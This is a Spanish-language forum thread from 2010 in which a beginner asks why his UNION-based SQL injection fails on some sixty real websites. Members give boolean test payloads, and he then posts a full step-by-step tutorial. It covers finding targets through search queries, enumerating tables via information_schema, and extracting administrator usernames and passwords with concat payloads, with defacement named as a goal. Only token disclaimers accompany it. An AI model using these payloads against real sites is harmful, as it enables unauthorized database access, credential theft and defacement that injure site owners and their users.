Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: WiseHidden en 21 Diciembre 2010, 22:18 pm



Título: Problema Inyeccion SQL
Publicado por: WiseHidden en 21 Diciembre 2010, 22:18 pm
Llevo una semana "probando" las vulnerabilidades de las paginas atraves de las inyecciones SQL.

Segun trasteé por la red para saber si una pagina era vulnerable solo tenias que añadir (') sustuyendolo por lo/s numero/s

Ejemplo:

xxxxxx.php?id=250
xxxxxx.php?id='

si no nos decia nada referente a algun problema...... añadiamos lo siguiente.

xxxxxx.php?id=-1+union+all+select+0--

y luego ir probando xxxxxx.php?id=-1+union+all+select+0,1.......--

Hasta que te aparezcan "las tablas"

El problema es que ami nunca me salen.

A que se debe el problema???

PD: Es con fines educativos  :P
PD2: Disculpen los moderadores si este post no va en esta sección, pero lo creí el mas adecuado

Atentamente
WH
Gracias


Título: Re: Problema Inyeccion SQL
Publicado por: Shell Root en 21 Diciembre 2010, 22:50 pm
No son las "tablas", son las "columnas". Y si no te sales, tengo 2 hipótesis. La primera, no estáis haciendo bien la inyección de código SQL y la segunda, que el target no es vulnerable. XD


Título: Re: Problema Inyeccion SQL
Publicado por: WiseHidden en 22 Diciembre 2010, 09:40 am
Citar
No son las "tablas", son las "columnas". Y si no te sales, tengo 2 hipótesis. La primera, no estáis haciendo bien la inyección de código SQL y la segunda, que el target no es vulnerable. XD

Hombre!!! Ha esas conclusiones tambien he caido yo compadre!

Lo mas lógico es que no este haciendo bien la inyeccion del codigo, que lo hago tal como explique antes.

La segunda lo dudo, porque lo he probado con cerca de 60 paginas.
y en la mayoria he llegado hasta ......,100--
Asi que no se que puede ser.

De que forman lo hacen ustedes?

PD: Gracias por la correcion (columnas), lo tendre en cuenta apartir de ahora ajaja

Un saludo

Atentamente
WH


Título: Re: Problema Inyeccion SQL
Publicado por: xassiz~ en 22 Diciembre 2010, 13:29 pm
Comprueba que sea vulnerable haciendo una comparación lógica


Título: Re: Problema Inyeccion SQL
Publicado por: WiseHidden en 22 Diciembre 2010, 13:38 pm
Citar
Comprueba que sea vulnerable haciendo una comparación lógica

Y como haria esa comprobacion? Sinceramente estoy empezando y no se moverte aun mucho por aqui.

gracias a todos por vuestra ayuda y orientacion

un saludo

atentamente

wisehidden



Título: Re: Problema Inyeccion SQL
Publicado por: xassiz~ en 22 Diciembre 2010, 13:53 pm
Aprende SQL antes de querer juankear páginas web :rolleyes:

Código
  1. 250 AND 1=1
  2. 250 AND 1=0

Y comprueba los resultados


Título: Re: Problema Inyeccion SQL
Publicado por: Shell Root en 22 Diciembre 2010, 15:49 pm
Aprende SQL antes de querer juankear páginas web
+1

---
@pablomi, poned una página para verificar lo que haces.


Título: Re: Problema Inyeccion SQL
Publicado por: Devilboy.Devil en 22 Diciembre 2010, 17:22 pm
Prueba con esto para que chekes si funciona y si te funciona ya aprendes a hacerlo de forma manual.

http://foro.elhacker.net/hacking_avanzado/sql_injection_de_forma_amigable-t314434.0.html


Título: SOLUCIONADO Problema Inyeccion SQL
Publicado por: WiseHidden en 25 Diciembre 2010, 12:47 pm
Gracias al apoyo y ala ayuda interminable de todos tenemos el problema resuelto.

Y para todo aquel que quiera "Aprender a encontrar la vulnerabilidad de una pagina web" Solo para entender,comprender y proteger de otros ataques les invito y me tomo la molestia de explicaros un ataque por Inyección SQL.

Citar

Definición de Ataque SQL:

La inyección SQL es el ataque vía web, que aprovecha Errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.

¿Que es Deface?

Es la modificación de una página web sin autorización del Administrador de la misma.

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Nota: No todas las Paginas son vulnerables. Solo aquellas que por descuido, falta de conocimiento, Contraseñas débiles, errores en el FPT y un largo numero de errores o vulnerabilidades que nos permitan atraves de una inyección conocer el usuario y contraseña de Administración.


Nota2: Este pequeño tutorial es solamente para aquellos que quieran profundizar sus conocimientos sobre seguridad web, no para causar daños a terceros. (Pues esos terceros son programadores web, que al igual que a nosotros les fascina este amplio mundo que es la informática) Asi que no seais Malotes!!!! No me hago responsable, de los fines que hagais, eso queda en la conciencia de cada uno. (PERO EN ESTE PAIS PUEDEN CAERTE VARIOS AÑOS ENTRE REJAS!! Asi que pensarlo dos veces antes de hacer algo. ;D ;D ;D


Para comenzar antes tenemos que buscar con una referencia en nuestro buscador, lo que nos direccionará a una lista de web posiblemente vulnerables (RECUERDA NO TODAS LO SON) al menos no con este método.

.php?id=
.html?id=

(?id=NUMERO)

Para saber si es vulnerable tienes que quitar el numero, y poner '
 
Ejemplo :

http://www.WEBVICTIMA/noticia.php?id='

Vale es vulnerable. ¿Como lo sabemos? Facil por que nos ha tirado un error que es:

EJEMPLO:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/ioba.med.uva.es/abretusojos/noticia.php on line 7


(Normalmente suelen ser a si)

Ahora hay que quitar el '

y poner lo principal que es:

Código:

-1+union+all+select+0--

Y nos quedaría así:
Código:

http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0"


Ahora hay que buscar tablas, para ello hay que ir añadiendo números [ 1,2,3,4,5,6,7,8 .. .. ] hasta que nos tire unos números.


Acontinuacion sacaremos  las table name. Poniendo al final de la url:

+from+information_schema.tables--

y coger un numero de los que te ha tirado,y borrar el name y poner table_name. Quedaría a si.

Ejemplo:

http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,table_name,4,5,6+from+information_schema.tables--

Ahora siempre al poner la injeccion, te saldrá CHARACTER_SETS que es la primera tabla.


Si te sale CHARACTER_SETS es que todo va bien, ahora tienes que borrar los -- [ Guion , Guion ] y poner:

+limit+1,1--

Ejemplo:

http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,table_name,4,5,6+from+information_schema.tables+limit+1,1--

Ahora hay que ir buscando tablas interesantes como; admin, user, root, login, administrator, etc.

En la base de datos, Hay alguna  tables que son default, que parecen importantes pero no lo son , esas tables son:

PROFILING,USER_PRIVILEGES,VIEWS.


http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,table_name,4,5,6+from+information_schema.tables+limit+12,1--

Ahora ya tenemos la table name de lo que queremos, ara hacemos lo siguiente:

Borramos:

information_schema.tables+limit+18,1--

EJEMPLO

http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,table_name,4,5,6+from+

Y despues del

+from+

ponemos la table importante que es: table_usuarios.

Ejemplo:

http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,table_name,4,5,6+from+table_usuarios

Ahora ya toca quitar el table_name que hay entre el 2 y el 4. Y poner nombre.

Ejemplo:

AVISO: No siempre es nombre, a veces si no funciona tienes que poner, admin,login,root,adm,administrador,etc.

Ponemos nombre y...


Hay tenemos el username!! Ahora falta la pass

Ahora como ya sabes el username, borra lo que hay entre el 2 y el 4. Y pon:
Código:

concat(nombre,0x3a3a,pass).

Ejemplo:

http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,concat%28nombre,0x3a3a,pass%29,4,5,6+from+table_usuarios

Si no te funciona, cambia donde pone pass [ concat(nombre,0x3a3a,pass) por clave,password,contraseña,etc.

Si todo va bien.......


Entre el user y pass lo separa 0x3a3a, 0x3a3a es hexadecimal, que significa " :: "

Y bueno asta aquí todo!!

PD: Este tutorial es una mezcla de recopilacion de muchos tutoriales que me han ayudado a conseguir este curioso e interesante ataque

Espero os sirva de ayuda para profundizar vuestros conocimientos

Un saludo

WiseHidden